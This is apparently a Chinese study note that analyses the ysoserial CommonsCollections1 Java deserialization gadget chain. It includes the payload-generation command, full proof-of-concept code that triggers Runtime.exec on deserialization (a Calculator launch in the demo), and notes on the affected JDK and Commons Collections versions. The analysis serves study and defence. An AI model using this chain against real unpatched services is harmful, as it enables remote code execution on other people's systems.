Java代码审计学习笔记之ysoserial分析(二、CommonsCollections1利用链)

1.CommonsCollections简介

Apache Commons Collections(简称CC)是一个Apache软件基金会的项目。该项目中包含了常用数据结构的扩展和补充。以Map接口为例,最常用的就是java中自带的Hashmap类,但是这种简单的Map类有时候往往无法满足我们的需求。因此CC项目中对一些可能经常用到的Map进行了包装,例如:

  • LinkedMap(有序Map):条目顺序由最初的数据插入时来决定。
  • BidiMap (双向Map):既可以通过key找到value,也可以通过value找到key。
  • LazyMap:当键值被访问时若不存在才创建。例如从数据库中读取,这个就没必要初始化的时候把所有数据都从数据库加载到内存里,用哪个取哪个即可。

ysoserial项目中使用该项目生成反序列化漏洞的gadget显然是因为该项目包应用比较广泛,并且其中包含了某些在反序列化中可以自动执行命令的利用点。

2.CommonsCollections1利用链测试

CommonsCollections1利用链对于java版本有一定要求,java版本要小于8u71。这里我用的7u80。CommonsCollections库的版本为3.2.1

1.生成反序列化数据

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC1.bin

2.使用如下代码对序列化数据进行反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class TestCC1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        FileInputStream fIs = new FileInputStream("CC1.bin");
        ObjectInputStream objIs = new ObjectInputStream(fIs);
        objIs.readObject();
    }
}

可以看到将会弹出计算器,命令正常执行。

3.CommonsCollections1利用链分析

CC1利用链整体代码如下:

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
        //使用反射方法调用Runtime.getRuntime().exec("cmd");
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //lazyMap在调用其get方法时会执行transformer()方法
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        //  代理类在执行任意方法的时候都会调用其invoke方法。
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
        //其实创建的是以AnnotationInvocationHandler作为handler的一个代理,当mapProxy执行任意方法的时候都会调用AnnotationInvocationHandler的invoke方法,而invoke方法中有get方法!

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
        return handler;
    }

代码非常长我们将其分解开来一步一步理解。先尝试理解各个部分的功能。

3.1 transformers

前面说过,这个Commons Collections项目中包含了常用的一些数据结构,以Map为例,正常的Map中包含的就是普通的键值对。但是如果我希望在put数据的时候或者get数据的时候,比如键是用户名,值是密码,但我希望密码不要明文保存,做个md5等哈希操作,就可以用到CC项目中的transformers。正如它的名字,这个transformers其实就是一个自动对输入的键和值进行加工转化的处理器。当然这个transformer是需要和CC项目中的数据结构类配套使用的,每一个transformer里面都会包含一个transform方法,在特定时候数据结构就会调用transform方法

CC1利用链中用到的transformers有以下几个:

  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer

以下对这三个transformer分别进行说明。

3.1.1 ConstantTransformer

从名字就可以看出来这个transformer的返回值就是个固定值。其构造函数和transform函数代码如下:

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }

可以看到,构造的时候输入的对象是什么,transform函数返回值就是什么。因此CC1中new ConstantTransformer(Runtime.class)当调用它的transform方法时返回的值就是一个Runtime.class

3.1.2 InvokerTransformer

从名字就可以看出来,这个transformer应该是会调用某个方法。先看一下它的构造函数(CC1中用的)。

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

可以看到,传入的三个参数分别为方法名参数类型参数。再看看其transform方法:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看到这里transform函数功能就是根据输入的这个对象,调用它的iMethodName方法并且参数为iParamTypes类型,参数的值就是构造函数里设置的iArgs。CC1中一共用了三次InvokerTransformer,以第一次为例,假如(事实也是)第一次InvokerTransformer类的transform方法调用时Object input为上一步ConstantTransformer的transform方法返回的Runtime.class。那么InvokerTransformer类的transform方法执行的代码如下:

        Class cls = Runtime.class.getClass();
        Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
        System.out.println(method.invoke(Runtime.class,new Object[] {"getRuntime", new Class[0] }));

可以看到返回结果是一个getRuntime的Method!

可以看到,如果前一个transformer的输出结果是下一个transformer的输入值,那么显然下一个invoke就是执行getRuntime。再下一个就是在Runtime里执行exec函数从而执行命令。那么如何实现这个将前一个transformer的transform方法的返回结果作为后一个transformer的输入呢?这里就用到了ChainedTransformer

3.1.3 ChainedTransformer

从名字可以看出来,它是一条transformer链。我们可以看一下它的构造函数和transform方法:

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
   }

可以看出,这里的这个构造方法就是输入一个transformer数组,然后transform方法将会使用for循环来遍历每一个transformer类,调用其transform方法,然后将上一次调用的结果作为下一次的输入!至此如果我们可以触发这个ChainedTransformer类的transform方法,那么就可以获得Runtime类并执行系统命令。但是如何才能触发transform方法?CC1中用到的就是lazyMap

3.2 lazyMap

首先查看一下lazyMap的构造函数:

    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

其实就是声明了一个map,然后设置了一下这个LazyMap的factory。而CC1中调用的LazyMap.decorate如下:

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

其实就是生成了一个LazyMap对象。而我们输入的ChainedTransformer就会变成这个对象的factory。那么LazyMap对象什么时候才会调用factorytransform方法呢?通过搜索可以发现,在调用LazyMap对象的get方法时如果找不到那个键就会触发factory(也就是我们设计的ChainedTransformer)的transform方法。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);//这里调用!
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

我们使用如下代码进行测试:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class TestCC1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs)
        };
        final Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        lazyMap.get("theKeyNotExist");
    }
}

测试发现命令被正常执行,系统弹出了计算器。lazymap虽然实现了Serializable接口可以进行反序列化操作,但是它的readObject方法中并没有调用到get方法。那么这里就需要一个类,在反序列化时,readObject方法中会触发调用lazyMap的get方法。这里CC1中所用的就是sun.reflect.annotation.AnnotationInvocationHandler

3.3 AnnotationInvocationHandler

这个类保存在sun.reflect.annotation.AnnotationInvocationHandler,还是先看一下这个类的构造函数。

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

可以看到构造的时候传入的第二个参数Map类型,我们传入构造的lazyMap对象。那么这个AnnotationInvocationHandlermemberValues就是我们的lazyMap对象。也就是说如果AnnotationInvocationHandlerreadObject方法中有this.memberValues.get那么就会触发我们的设计的ChainedTransformertransformer方法。然而AnnotationInvocationHandlerreadObject方法代码如下:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

可以看到这里并没有调用memberValues.get,只有一个memberValues.entrySet().iterator()。搜索发现这里面invoke方法中调用了memberValues.get

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);//就这个位置!
                ...省略...
                    return var6;
                }
            }
        }
    }

ysoserial作者使用了动态代理的来触发invoke方法。前面学过对于一个类,可以写一个该类的代理InvocationHandler,生成一个代理类。通过代理类去访问被代理类中的任意方法时,均会先进入handler的invoke方法,然后再去执行被代理类的方法。而这个AnnotationInvocationHandler本身就是一个InvocationHandler。因此可以使用AnnotationInvocationHandler作为InvocationHandler创建一个代理类。这样无论代理类中执行什么函数都会调用AnnotationInvocationHandler.invoke,从而执行我们的LazyMap.set。这里AnnotationInvocationHandler没有public的构造函数,因此需要使用反射方法创建实例,代码如下:

        String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        Class cls = Class.forName(ANN_INV_HANDLER_CLASS);
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map m = (Map)Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);

那么这里如果反序列化中调用了我们生成的代理Map的任意方法都会执行handler中的invoke方法。正好前面说了AnnotationInvocationHandler.readObject中包含着一个memberValues.entrySet(),调用了传入Map的entrySet方法。因此可以对代理出的Map对象再作为AnnotationInvocationHandlermemberValues实例化一个对象。最终代码如下,运行发现命令被执行,计算器被运行。

public class TestCC1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs)
        };
        final Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //lazyMap.get("theKeyNotExist");

        //使用反射获取AnnotationInvocationHandler实例
        String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
        Class cls = Class.forName(ANN_INV_HANDLER_CLASS);
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Override.class,lazyMap);
        Map ProxyedMap = (Map)Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[] {Map.class}, handler);

        InvocationHandler CC1Obj = (InvocationHandler)constructor.newInstance(Override.class, ProxyedMap);

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream  objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(CC1Obj);

        //反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = (Object)objectInputStream.readObject();

    }
}

4.适用版本

4.1 jdk版本要求

这里我们对jdk和CC项目的源码进行了对比。下载代码推荐如下方式,jdk代码推荐适用hg下载,虽然github中也能找到jdk源码,但可能是我的操作不熟练,感觉github上的jdk源码commit记录有缺失,因此推荐使用hg下载。

hg clone http://hg.openjdk.java.net/jdk8u/jdk8u
git clone http://gitbox.apache.org/repos/asf/commons-collections.git

先看jdk修改

hg log src\share\classes\sun\reflect\annotation\AnnotationInvocationHandler.java

可以看到就是在11364:8e3338e7c7ea中对这个AnnotationInvocationHandler.java进行了修改,导致invoke无法触发。其中的修改主要是修改了AnnotationInvocationHandler.readObject的代码,新版的代码中将不再执行s.defaultReadObject。因此触发invoke方法时,this.memberValues的值将是null

changeset11364就在jdk8u71-b11jdk8u71-b12之间,因此该利用链要求的jdk版本应小于等于jdk8u71-b11

4.2 CC项目版本要求

cc里面15年光棍节的时候把InvokerTransformerreadObjectwriteObject都进行了修改,限制了不安全的序列化反序列化。而之后发布的发行版就是3.2.2

因此CC项目版本要求为小于3.2.2